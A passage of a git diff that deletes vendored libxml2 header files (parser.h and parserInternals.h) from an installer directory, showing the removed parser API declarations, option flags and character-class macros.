sax, - void *user_data, - const char *filename); -XMLPUBFUN int XMLCALL - xmlSAXUserParseMemory (xmlSAXHandlerPtr sax, - void *user_data, - const char *buffer, - int size); -XMLPUBFUN xmlDocPtr XMLCALL - xmlSAXParseDoc (xmlSAXHandlerPtr sax, - const xmlChar *cur, - int recovery); -XMLPUBFUN xmlDocPtr XMLCALL - xmlSAXParseMemory (xmlSAXHandlerPtr sax, - const char *buffer, - int size, - int recovery); -XMLPUBFUN xmlDocPtr XMLCALL - xmlSAXParseMemoryWithData (xmlSAXHandlerPtr sax, - const char *buffer, - int size, - int recovery, - void *data); -XMLPUBFUN xmlDocPtr XMLCALL - xmlSAXParseFile (xmlSAXHandlerPtr sax, - const char *filename, - int recovery); -XMLPUBFUN xmlDocPtr XMLCALL - xmlSAXParseFileWithData (xmlSAXHandlerPtr sax, - const char *filename, - int recovery, - void *data); -XMLPUBFUN xmlDocPtr XMLCALL - xmlSAXParseEntity (xmlSAXHandlerPtr sax, - const char *filename); -XMLPUBFUN xmlDocPtr XMLCALL - xmlParseEntity (const char *filename); -#endif /* LIBXML_SAX1_ENABLED */ - -#ifdef LIBXML_VALID_ENABLED -XMLPUBFUN xmlDtdPtr XMLCALL - xmlSAXParseDTD (xmlSAXHandlerPtr sax, - const xmlChar *ExternalID, - const xmlChar *SystemID); -XMLPUBFUN xmlDtdPtr XMLCALL - xmlParseDTD (const xmlChar *ExternalID, - const xmlChar *SystemID); -XMLPUBFUN xmlDtdPtr XMLCALL - xmlIOParseDTD (xmlSAXHandlerPtr sax, - xmlParserInputBufferPtr input, - xmlCharEncoding enc); -#endif /* LIBXML_VALID_ENABLE */ -#ifdef LIBXML_SAX1_ENABLED -XMLPUBFUN int XMLCALL - xmlParseBalancedChunkMemory(xmlDocPtr doc, - xmlSAXHandlerPtr sax, - void *user_data, - int depth, - const xmlChar *string, - xmlNodePtr *lst); -#endif /* LIBXML_SAX1_ENABLED */ -XMLPUBFUN xmlParserErrors XMLCALL - xmlParseInNodeContext (xmlNodePtr node, - const char *data, - int datalen, - int options, - xmlNodePtr *lst); -#ifdef LIBXML_SAX1_ENABLED -XMLPUBFUN int XMLCALL - xmlParseBalancedChunkMemoryRecover(xmlDocPtr doc, - xmlSAXHandlerPtr sax, - void *user_data, - int depth, - const xmlChar *string, - xmlNodePtr *lst, - int recover); -XMLPUBFUN int XMLCALL - xmlParseExternalEntity (xmlDocPtr doc, - xmlSAXHandlerPtr sax, - void *user_data, - int depth, - const xmlChar *URL, - const xmlChar *ID, - xmlNodePtr *lst); -#endif /* LIBXML_SAX1_ENABLED */ -XMLPUBFUN int XMLCALL - xmlParseCtxtExternalEntity(xmlParserCtxtPtr ctx, - const xmlChar *URL, - const xmlChar *ID, - xmlNodePtr *lst); - -/* - * Parser contexts handling. - */ -XMLPUBFUN xmlParserCtxtPtr XMLCALL - xmlNewParserCtxt (void); -XMLPUBFUN int XMLCALL - xmlInitParserCtxt (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlClearParserCtxt (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlFreeParserCtxt (xmlParserCtxtPtr ctxt); -#ifdef LIBXML_SAX1_ENABLED -XMLPUBFUN void XMLCALL - xmlSetupParserForBuffer (xmlParserCtxtPtr ctxt, - const xmlChar* buffer, - const char *filename); -#endif /* LIBXML_SAX1_ENABLED */ -XMLPUBFUN xmlParserCtxtPtr XMLCALL - xmlCreateDocParserCtxt (const xmlChar *cur); - -#ifdef LIBXML_LEGACY_ENABLED -/* - * Reading/setting optional parsing features. - */ -XMLPUBFUN int XMLCALL - xmlGetFeaturesList (int *len, - const char **result); -XMLPUBFUN int XMLCALL - xmlGetFeature (xmlParserCtxtPtr ctxt, - const char *name, - void *result); -XMLPUBFUN int XMLCALL - xmlSetFeature (xmlParserCtxtPtr ctxt, - const char *name, - void *value); -#endif /* LIBXML_LEGACY_ENABLED */ - -#ifdef LIBXML_PUSH_ENABLED -/* - * Interfaces for the Push mode. - */ -XMLPUBFUN xmlParserCtxtPtr XMLCALL - xmlCreatePushParserCtxt(xmlSAXHandlerPtr sax, - void *user_data, - const char *chunk, - int size, - const char *filename); -XMLPUBFUN int XMLCALL - xmlParseChunk (xmlParserCtxtPtr ctxt, - const char *chunk, - int size, - int terminate); -#endif /* LIBXML_PUSH_ENABLED */ - -/* - * Special I/O mode. - */ - -XMLPUBFUN xmlParserCtxtPtr XMLCALL - xmlCreateIOParserCtxt (xmlSAXHandlerPtr sax, - void *user_data, - xmlInputReadCallback ioread, - xmlInputCloseCallback ioclose, - void *ioctx, - xmlCharEncoding enc); - -XMLPUBFUN xmlParserInputPtr XMLCALL - xmlNewIOInputStream (xmlParserCtxtPtr ctxt, - xmlParserInputBufferPtr input, - xmlCharEncoding enc); - -/* - * Node infos. - */ -XMLPUBFUN const xmlParserNodeInfo* XMLCALL - xmlParserFindNodeInfo (const xmlParserCtxtPtr ctxt, - const xmlNodePtr node); -XMLPUBFUN void XMLCALL - xmlInitNodeInfoSeq (xmlParserNodeInfoSeqPtr seq); -XMLPUBFUN void XMLCALL - xmlClearNodeInfoSeq (xmlParserNodeInfoSeqPtr seq); -XMLPUBFUN unsigned long XMLCALL - xmlParserFindNodeInfoIndex(const xmlParserNodeInfoSeqPtr seq, - const xmlNodePtr node); -XMLPUBFUN void XMLCALL - xmlParserAddNodeInfo (xmlParserCtxtPtr ctxt, - const xmlParserNodeInfoPtr info); - -/* - * External entities handling actually implemented in xmlIO. - */ - -XMLPUBFUN void XMLCALL - xmlSetExternalEntityLoader(xmlExternalEntityLoader f); -XMLPUBFUN xmlExternalEntityLoader XMLCALL - xmlGetExternalEntityLoader(void); -XMLPUBFUN xmlParserInputPtr XMLCALL - xmlLoadExternalEntity (const char *URL, - const char *ID, - xmlParserCtxtPtr ctxt); - -/* - * Index lookup, actually implemented in the encoding module - */ -XMLPUBFUN long XMLCALL - xmlByteConsumed (xmlParserCtxtPtr ctxt); - -/* - * New set of simpler/more flexible APIs - */ -/** - * xmlParserOption: - * - * This is the set of XML parser options that can be passed down - * to the xmlReadDoc() and similar calls. - */ -typedef enum { - XML_PARSE_RECOVER = 1<<0, /* recover on errors */ - XML_PARSE_NOENT = 1<<1, /* substitute entities */ - XML_PARSE_DTDLOAD = 1<<2, /* load the external subset */ - XML_PARSE_DTDATTR = 1<<3, /* default DTD attributes */ - XML_PARSE_DTDVALID = 1<<4, /* validate with the DTD */ - XML_PARSE_NOERROR = 1<<5, /* suppress error reports */ - XML_PARSE_NOWARNING = 1<<6, /* suppress warning reports */ - XML_PARSE_PEDANTIC = 1<<7, /* pedantic error reporting */ - XML_PARSE_NOBLANKS = 1<<8, /* remove blank nodes */ - XML_PARSE_SAX1 = 1<<9, /* use the SAX1 interface internally */ - XML_PARSE_XINCLUDE = 1<<10,/* Implement XInclude substitition */ - XML_PARSE_NONET = 1<<11,/* Forbid network access */ - XML_PARSE_NODICT = 1<<12,/* Do not reuse the context dictionary */ - XML_PARSE_NSCLEAN = 1<<13,/* remove redundant namespaces declarations */ - XML_PARSE_NOCDATA = 1<<14,/* merge CDATA as text nodes */ - XML_PARSE_NOXINCNODE= 1<<15,/* do not generate XINCLUDE START/END nodes */ - XML_PARSE_COMPACT = 1<<16,/* compact small text nodes; no modification of - the tree allowed afterwards (will possibly - crash if you try to modify the tree) */ - XML_PARSE_OLD10 = 1<<17,/* parse using XML-1.0 before update 5 */ - XML_PARSE_NOBASEFIX = 1<<18,/* do not fixup XINCLUDE xml:base uris */ - XML_PARSE_HUGE = 1<<19,/* relax any hardcoded limit from the parser */ - XML_PARSE_OLDSAX = 1<<20,/* parse using SAX2 interface before 2.7.0 */ - XML_PARSE_IGNORE_ENC= 1<<21,/* ignore internal document encoding hint */ - XML_PARSE_BIG_LINES = 1<<22 /* Store big lines numbers in text PSVI field */ -} xmlParserOption; - -XMLPUBFUN void XMLCALL - xmlCtxtReset (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlCtxtResetPush (xmlParserCtxtPtr ctxt, - const char *chunk, - int size, - const char *filename, - const char *encoding); -XMLPUBFUN int XMLCALL - xmlCtxtUseOptions (xmlParserCtxtPtr ctxt, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlReadDoc (const xmlChar *cur, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlReadFile (const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlReadMemory (const char *buffer, - int size, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlReadFd (int fd, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlReadIO (xmlInputReadCallback ioread, - xmlInputCloseCallback ioclose, - void *ioctx, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlCtxtReadDoc (xmlParserCtxtPtr ctxt, - const xmlChar *cur, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlCtxtReadFile (xmlParserCtxtPtr ctxt, - const char *filename, - const char *encoding, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlCtxtReadMemory (xmlParserCtxtPtr ctxt, - const char *buffer, - int size, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlCtxtReadFd (xmlParserCtxtPtr ctxt, - int fd, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlCtxtReadIO (xmlParserCtxtPtr ctxt, - xmlInputReadCallback ioread, - xmlInputCloseCallback ioclose, - void *ioctx, - const char *URL, - const char *encoding, - int options); - -/* - * Library wide options - */ -/** - * xmlFeature: - * - * Used to examine the existance of features that can be enabled - * or disabled at compile-time. - * They used to be called XML_FEATURE_xxx but this clashed with Expat - */ -typedef enum { - XML_WITH_THREAD = 1, - XML_WITH_TREE = 2, - XML_WITH_OUTPUT = 3, - XML_WITH_PUSH = 4, - XML_WITH_READER = 5, - XML_WITH_PATTERN = 6, - XML_WITH_WRITER = 7, - XML_WITH_SAX1 = 8, - XML_WITH_FTP = 9, - XML_WITH_HTTP = 10, - XML_WITH_VALID = 11, - XML_WITH_HTML = 12, - XML_WITH_LEGACY = 13, - XML_WITH_C14N = 14, - XML_WITH_CATALOG = 15, - XML_WITH_XPATH = 16, - XML_WITH_XPTR = 17, - XML_WITH_XINCLUDE = 18, - XML_WITH_ICONV = 19, - XML_WITH_ISO8859X = 20, - XML_WITH_UNICODE = 21, - XML_WITH_REGEXP = 22, - XML_WITH_AUTOMATA = 23, - XML_WITH_EXPR = 24, - XML_WITH_SCHEMAS = 25, - XML_WITH_SCHEMATRON = 26, - XML_WITH_MODULES = 27, - XML_WITH_DEBUG = 28, - XML_WITH_DEBUG_MEM = 29, - XML_WITH_DEBUG_RUN = 30, - XML_WITH_ZLIB = 31, - XML_WITH_ICU = 32, - XML_WITH_LZMA = 33, - XML_WITH_NONE = 99999 /* just to be sure of allocation size */ -} xmlFeature; - -XMLPUBFUN int XMLCALL - xmlHasFeature (xmlFeature feature); - -#ifdef __cplusplus -} -#endif -#endif /* __XML_PARSER_H__ */ diff --git a/installer/libxml2/include/libxml/parserInternals.h b/installer/libxml2/include/libxml/parserInternals.h deleted file mode 100644 index f30fc68..0000000 --- a/installer/libxml2/include/libxml/parserInternals.h +++ /dev/null @@ -1,644 +0,0 @@ -/* - * Summary: internals routines and limits exported by the parser. - * Description: this module exports a number of internal parsing routines - * they are not really all intended for applications but - * can prove useful doing low level processing. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_PARSER_INTERNALS_H__ -#define __XML_PARSER_INTERNALS_H__ - -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlParserMaxDepth: - * - * arbitrary depth limit for the XML documents that we allow to - * process. This is not a limitation of the parser but a safety - * boundary feature, use XML_PARSE_HUGE option to override it. - */ -XMLPUBVAR unsigned int xmlParserMaxDepth; - -/** - * XML_MAX_TEXT_LENGTH: - * - * Maximum size allowed for a single text node when building a tree. - * This is not a limitation of the parser but a safety boundary feature, - * use XML_PARSE_HUGE option to override it. - * Introduced in 2.9.0 - */ -#define XML_MAX_TEXT_LENGTH 10000000 - -/** - * XML_MAX_NAME_LENGTH: - * - * Maximum size allowed for a markup identitier - * This is not a limitation of the parser but a safety boundary feature, - * use XML_PARSE_HUGE option to override it. - * Note that with the use of parsing dictionaries overriding the limit - * may result in more runtime memory usage in face of "unfriendly' content - * Introduced in 2.9.0 - */ -#define XML_MAX_NAME_LENGTH 50000 - -/** - * XML_MAX_DICTIONARY_LIMIT: - * - * Maximum size allowed by the parser for a dictionary by default - * This is not a limitation of the parser but a safety boundary feature, - * use XML_PARSE_HUGE option to override it. - * Introduced in 2.9.0 - */ -#define XML_MAX_DICTIONARY_LIMIT 10000000 - -/** - * XML_MAX_LOOKUP_LIMIT: - * - * Maximum size allowed by the parser for ahead lookup - * This is an upper boundary enforced by the parser to avoid bad - * behaviour on "unfriendly' content - * Introduced in 2.9.0 - */ -#define XML_MAX_LOOKUP_LIMIT 10000000 - -/** - * XML_MAX_NAMELEN: - * - * Identifiers can be longer, but this will be more costly - * at runtime. - */ -#define XML_MAX_NAMELEN 100 - -/** - * INPUT_CHUNK: - * - * The parser tries to always have that amount of input ready. - * One of the point is providing context when reporting errors. - */ -#define INPUT_CHUNK 250 - -/************************************************************************ - * * - * UNICODE version of the macros. * - * * - ************************************************************************/ -/** - * IS_BYTE_CHAR: - * @c: an byte value (int) - * - * Macro to check the following production in the XML spec: - * - * [2] Char ::= #x9 | #xA | #xD | [#x20...] - * any byte character in the accepted range - */ -#define IS_BYTE_CHAR(c) xmlIsChar_ch(c) - -/** - * IS_CHAR: - * @c: an UNICODE value (int) - * - * Macro to check the following production in the XML spec: - * - * [2] Char ::= #x9 | #xA | #xD | [#x20-#xD7FF] | [#xE000-#xFFFD] - * | [#x10000-#x10FFFF] - * any Unicode character, excluding the surrogate blocks, FFFE, and FFFF. - */ -#define IS_CHAR(c) xmlIsCharQ(c) - -/** - * IS_CHAR_CH: - * @c: an xmlChar (usually an unsigned char) - * - * Behaves like IS_CHAR on single-byte value - */ -#define IS_CHAR_CH(c) xmlIsChar_ch(c) - -/** - * IS_BLANK: - * @c: an UNICODE value (int) - * - * Macro to check the following production in the XML spec: - * - * [3] S ::= (#x20 | #x9 | #xD | #xA)+ - */ -#define IS_BLANK(c) xmlIsBlankQ(c) - -/** - * IS_BLANK_CH: - * @c: an xmlChar value (normally unsigned char) - * - * Behaviour same as IS_BLANK - */ -#define IS_BLANK_CH(c) xmlIsBlank_ch(c) - -/** - * IS_BASECHAR: - * @c: an UNICODE value (int) - * - * Macro to check the following production in the XML spec: - * - * [85] BaseChar ::= ... long list see REC ... - */ -#define IS_BASECHAR(c) xmlIsBaseCharQ(c) - -/** - * IS_DIGIT: - * @c: an UNICODE value (int) - * - * Macro to check the following production in the XML spec: - * - * [88] Digit ::= ... long list see REC ... - */ -#define IS_DIGIT(c) xmlIsDigitQ(c) - -/** - * IS_DIGIT_CH: - * @c: an xmlChar value (usually an unsigned char) - * - * Behaves like IS_DIGIT but with a single byte argument - */ -#define IS_DIGIT_CH(c) xmlIsDigit_ch(c) - -/** - * IS_COMBINING: - * @c: an UNICODE value (int) - * - * Macro to check the following production in the XML spec: - * - * [87] CombiningChar ::= ... long list see REC ... - */ -#define IS_COMBINING(c) xmlIsCombiningQ(c) - -/** - * IS_COMBINING_CH: - * @c: an xmlChar (usually an unsigned char) - * - * Always false (all combining chars > 0xff) - */ -#define IS_COMBINING_CH(c) 0 - -/** - * IS_EXTENDER: - * @c: an UNICODE value (int) - * - * Macro to check the following production in the XML spec: - * - * - * [89] Extender ::= #x00B7 | #x02D0 | #x02D1 | #x0387 | #x0640 | - * #x0E46 | #x0EC6 | #x3005 | [#x3031-#x3035] | - * [#x309D-#x309E] | [#x30FC-#x30FE] - */ -#define IS_EXTENDER(c) xmlIsExtenderQ(c) - -/** - * IS_EXTENDER_CH: - * @c: an xmlChar value (usually an unsigned char) - * - * Behaves like IS_EXTENDER but with a single-byte argument - */ -#define IS_EXTENDER_CH(c) xmlIsExtender_ch(c) - -/** - * IS_IDEOGRAPHIC: - * @c: an UNICODE value (int) - * - * Macro to check the following production in the XML spec: - * - * - * [86] Ideographic ::= [#x4E00-#x9FA5] | #x3007 | [#x3021-#x3029] - */ -#define IS_IDEOGRAPHIC(c) xmlIsIdeographicQ(c) - -/** - * IS_LETTER: - * @c: an UNICODE value (int) - * - * Macro to check the following production in the XML spec: - * - * - * [84] Letter ::= BaseChar | Ideographic - */ -#define IS_LETTER(c) (IS_BASECHAR(c) || IS_IDEOGRAPHIC(c)) - -/** - * IS_LETTER_CH: - * @c: an xmlChar value (normally unsigned char) - * - * Macro behaves like IS_LETTER, but only check base chars - * - */ -#define IS_LETTER_CH(c) xmlIsBaseChar_ch(c) - -/** - * IS_ASCII_LETTER: - * @c: an xmlChar value - * - * Macro to check [a-zA-Z] - * - */ -#define IS_ASCII_LETTER(c) (((0x41 <= (c)) && ((c) <= 0x5a)) || \ - ((0x61 <= (c)) && ((c) <= 0x7a))) - -/** - * IS_ASCII_DIGIT: - * @c: an xmlChar value - * - * Macro to check [0-9] - * - */ -#define IS_ASCII_DIGIT(c) ((0x30 <= (c)) && ((c) <= 0x39)) - -/** - * IS_PUBIDCHAR: - * @c: an UNICODE value (int) - * - * Macro to check the following production in the XML spec: - * - * - * [13] PubidChar ::= #x20 | #xD | #xA | [a-zA-Z0-9] | [-'()+,./:=?;!*#@$_%] - */ -#define IS_PUBIDCHAR(c) xmlIsPubidCharQ(c) - -/** - * IS_PUBIDCHAR_CH: - * @c: an xmlChar value (normally unsigned char) - * - * Same as IS_PUBIDCHAR but for single-byte value - */ -#define IS_PUBIDCHAR_CH(c) xmlIsPubidChar_ch(c) - -/** - * SKIP_EOL: - * @p: and UTF8 string pointer - * - * Skips the end of line chars. - */ -#define SKIP_EOL(p) \ - if (*(p) == 0x13) { p++ ; if (*(p) == 0x10) p++; } \ - if (*(p) == 0x10) { p++ ; if (*(p) == 0x13) p++; } - -/** - * MOVETO_ENDTAG: - * @p: and UTF8 string pointer - * - * Skips to the next '>' char. - */ -#define MOVETO_ENDTAG(p) \ - while ((*p) && (*(p) != '>')) (p)++ - -/** - * MOVETO_STARTTAG: - * @p: and UTF8 string pointer - * - * Skips to the next '<' char. - */ -#define MOVETO_STARTTAG(p) \ - while ((*p) && (*(p) != '<')) (p)++ - -/** - * Global variables used for predefined strings. - */ -XMLPUBVAR const xmlChar xmlStringText[]; -XMLPUBVAR const xmlChar xmlStringTextNoenc[]; -XMLPUBVAR const xmlChar xmlStringComment[]; - -/* - * Function to finish the work of the macros where needed. - */ -XMLPUBFUN int XMLCALL xmlIsLetter (int c); - -/** - * Parser context. - */ -XMLPUBFUN xmlParserCtxtPtr XMLCALL - xmlCreateFileParserCtxt (const char *filename); -XMLPUBFUN xmlParserCtxtPtr XMLCALL - xmlCreateURLParserCtxt (const char *filename, - int options); -XMLPUBFUN xmlParserCtxtPtr XMLCALL - xmlCreateMemoryParserCtxt(const char *buffer, - int size); -XMLPUBFUN xmlParserCtxtPtr XMLCALL - xmlCreateEntityParserCtxt(const xmlChar *URL, - const xmlChar *ID, - const xmlChar *base); -XMLPUBFUN int XMLCALL - xmlSwitchEncoding (xmlParserCtxtPtr ctxt, - xmlCharEncoding enc); -XMLPUBFUN int XMLCALL - xmlSwitchToEncoding (xmlParserCtxtPtr ctxt, - xmlCharEncodingHandlerPtr handler); -XMLPUBFUN int XMLCALL - xmlSwitchInputEncoding (xmlParserCtxtPtr ctxt, - xmlParserInputPtr input, - xmlCharEncodingHandlerPtr handler); - -#ifdef IN_LIBXML -/* internal error reporting */ -XMLPUBFUN void XMLCALL - __xmlErrEncoding (xmlParserCtxtPtr ctxt, - xmlParserErrors xmlerr, - const char *msg, - const xmlChar * str1, - const xmlChar * str2) LIBXML_ATTR_FORMAT(3,0); -#endif - -/** - * Input Streams. - */ -XMLPUBFUN xmlParserInputPtr XMLCALL - xmlNewStringInputStream (xmlParserCtxtPtr ctxt, - const xmlChar *buffer); -XMLPUBFUN xmlParserInputPtr XMLCALL - xmlNewEntityInputStream (xmlParserCtxtPtr ctxt, - xmlEntityPtr entity); -XMLPUBFUN int XMLCALL - xmlPushInput (xmlParserCtxtPtr ctxt, - xmlParserInputPtr input); -XMLPUBFUN xmlChar XMLCALL - xmlPopInput (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlFreeInputStream (xmlParserInputPtr input); -XMLPUBFUN xmlParserInputPtr XMLCALL - xmlNewInputFromFile (xmlParserCtxtPtr ctxt, - const char *filename); -XMLPUBFUN xmlParserInputPtr XMLCALL - xmlNewInputStream (xmlParserCtxtPtr ctxt); - -/** - * Namespaces. - */ -XMLPUBFUN xmlChar * XMLCALL - xmlSplitQName (xmlParserCtxtPtr ctxt, - const xmlChar *name, - xmlChar **prefix); - -/** - * Generic production rules. - */ -XMLPUBFUN const xmlChar * XMLCALL - xmlParseName (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlParseNmtoken (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlParseEntityValue (xmlParserCtxtPtr ctxt, - xmlChar **orig); -XMLPUBFUN xmlChar * XMLCALL - xmlParseAttValue (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlParseSystemLiteral (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlParsePubidLiteral (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseCharData (xmlParserCtxtPtr ctxt, - int cdata); -XMLPUBFUN xmlChar * XMLCALL - xmlParseExternalID (xmlParserCtxtPtr ctxt, - xmlChar **publicID, - int strict); -XMLPUBFUN void XMLCALL - xmlParseComment (xmlParserCtxtPtr ctxt); -XMLPUBFUN const xmlChar * XMLCALL - xmlParsePITarget (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParsePI (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseNotationDecl (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseEntityDecl (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlParseDefaultDecl (xmlParserCtxtPtr ctxt, - xmlChar **value); -XMLPUBFUN xmlEnumerationPtr XMLCALL - xmlParseNotationType (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlEnumerationPtr XMLCALL - xmlParseEnumerationType (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlParseEnumeratedType (xmlParserCtxtPtr ctxt, - xmlEnumerationPtr *tree); -XMLPUBFUN int XMLCALL - xmlParseAttributeType (xmlParserCtxtPtr ctxt, - xmlEnumerationPtr *tree); -XMLPUBFUN void XMLCALL - xmlParseAttributeListDecl(xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlElementContentPtr XMLCALL - xmlParseElementMixedContentDecl - (xmlParserCtxtPtr ctxt, - int inputchk); -XMLPUBFUN xmlElementContentPtr XMLCALL - xmlParseElementChildrenContentDecl - (xmlParserCtxtPtr ctxt, - int inputchk); -XMLPUBFUN int XMLCALL - xmlParseElementContentDecl(xmlParserCtxtPtr ctxt, - const xmlChar *name, - xmlElementContentPtr *result); -XMLPUBFUN int XMLCALL - xmlParseElementDecl (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseMarkupDecl (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlParseCharRef (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlEntityPtr XMLCALL - xmlParseEntityRef (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseReference (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParsePEReference (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseDocTypeDecl (xmlParserCtxtPtr ctxt); -#ifdef LIBXML_SAX1_ENABLED -XMLPUBFUN const xmlChar * XMLCALL - xmlParseAttribute (xmlParserCtxtPtr ctxt, - xmlChar **value); -XMLPUBFUN const xmlChar * XMLCALL - xmlParseStartTag (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseEndTag (xmlParserCtxtPtr ctxt); -#endif /* LIBXML_SAX1_ENABLED */ -XMLPUBFUN void XMLCALL - xmlParseCDSect (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseContent (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseElement (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlParseVersionNum (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlParseVersionInfo (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlParseEncName (xmlParserCtxtPtr ctxt); -XMLPUBFUN const xmlChar * XMLCALL - xmlParseEncodingDecl (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlParseSDDecl (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseXMLDecl (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseTextDecl (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseMisc (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseExternalSubset (xmlParserCtxtPtr ctxt, - const xmlChar *ExternalID, - const xmlChar *SystemID); -/** - * XML_SUBSTITUTE_NONE: - * - * If no entities need to be substituted. - */ -#define XML_SUBSTITUTE_NONE 0 -/** - * XML_SUBSTITUTE_REF: - * - * Whether general entities need to be substituted. - */ -#define XML_SUBSTITUTE_REF 1 -/** - * XML_SUBSTITUTE_PEREF: - * - * Whether parameter entities need to be substituted. - */ -#define XML_SUBSTITUTE_PEREF 2 -/** - * XML_SUBSTITUTE_BOTH: - * - * Both general and parameter entities need to be substituted. - */ -#define XML_SUBSTITUTE_BOTH 3 - -XMLPUBFUN xmlChar * XMLCALL - xmlStringDecodeEntities (xmlParserCtxtPtr ctxt, - const xmlChar *str, - int what, - xmlChar end, - xmlChar end2, - xmlChar end3); -XMLPUBFUN xmlChar * XMLCALL - xmlStringLenDecodeEntities (xmlParserCtxtPtr ctxt, - const xmlChar *str, - int len, - int what, - xmlChar end, - xmlChar end2, - xmlChar end3); - -/* - * Generated by MACROS on top of parser.c c.f. PUSH_AND_POP. - */ -XMLPUBFUN int XMLCALL nodePush (xmlParserCtxtPtr ctxt, - xmlNodePtr value); -XMLPUBFUN xmlNodePtr XMLCALL nodePop (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL inputPush (xmlParserCtxtPtr ctxt, - xmlParserInputPtr value); -XMLPUBFUN xmlParserInputPtr XMLCALL inputPop (xmlParserCtxtPtr ctxt); -XMLPUBFUN const xmlChar * XMLCALL namePop (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL namePush (xmlParserCtxtPtr ctxt, - const xmlChar *value); - -/* - * other commodities shared between parser.c and parserInternals. - */ -XMLPUBFUN int XMLCALL xmlSkipBlankChars (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL xmlStringCurrentChar (xmlParserCtxtPtr ctxt, - const xmlChar *cur, - int *len); -XMLPUBFUN void XMLCALL xmlParserHandlePEReference(xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL xmlCheckLanguageID (const xmlChar *lang); - -/* - * Really core function shared with HTML parser. - */ -XMLPUBFUN int XMLCALL xmlCurrentChar (xmlParserCtxtPtr ctxt, - int *len); -XMLPUBFUN int XMLCALL xmlCopyCharMultiByte (xmlChar *out, - int val); -XMLPUBFUN int XMLCALL xmlCopyChar (int len, - xmlChar *out, - int val); -XMLPUBFUN void XMLCALL xmlNextChar (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL xmlParserInputShrink (xmlParserInputPtr in); - -#ifdef LIBXML_HTML_ENABLED -/* - * Actually comes from the HTML parser but launched from the init stuff. - */ -XMLPUBFUN void XMLCALL htmlInitAutoClose (void); -XMLPUBFUN htmlParserCtxtPtr XMLCALL htmlCreateFileParserCtxt(const char *filename, - const char *encoding); -#endif - -/* - * Specific function to keep track of entities references - * and used by the XSLT debugger. - */ -#ifdef LIBXML_LEGACY_ENABLED -/** - * xmlEntityReferenceFunc: - * @ent: the entity - * @firstNode: the fist node in the chunk - * @lastNode: the last nod in the chunk - * - * Callback function used when one needs to be able to track back the - * provenance of a chunk of nodes inherited from an entity replacement. - */ -typedef void (*xmlEntityReferenceFunc) (xmlEntityPtr ent, - xmlNodePtr firstNode, - xmlNodePtr lastNode); - -XMLPUBFUN void XMLCALL xmlSetEntityReferenceFunc (xmlEntityReferenceFunc func); - -XMLPUBFUN xmlChar * XMLCALL - xmlParseQuotedString (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseNamespace (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlNamespaceParseNSDef (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlScanName (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlNamespaceParseNCName (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL xmlParserHandleReference(xmlParserCtxtPtr ctxt); 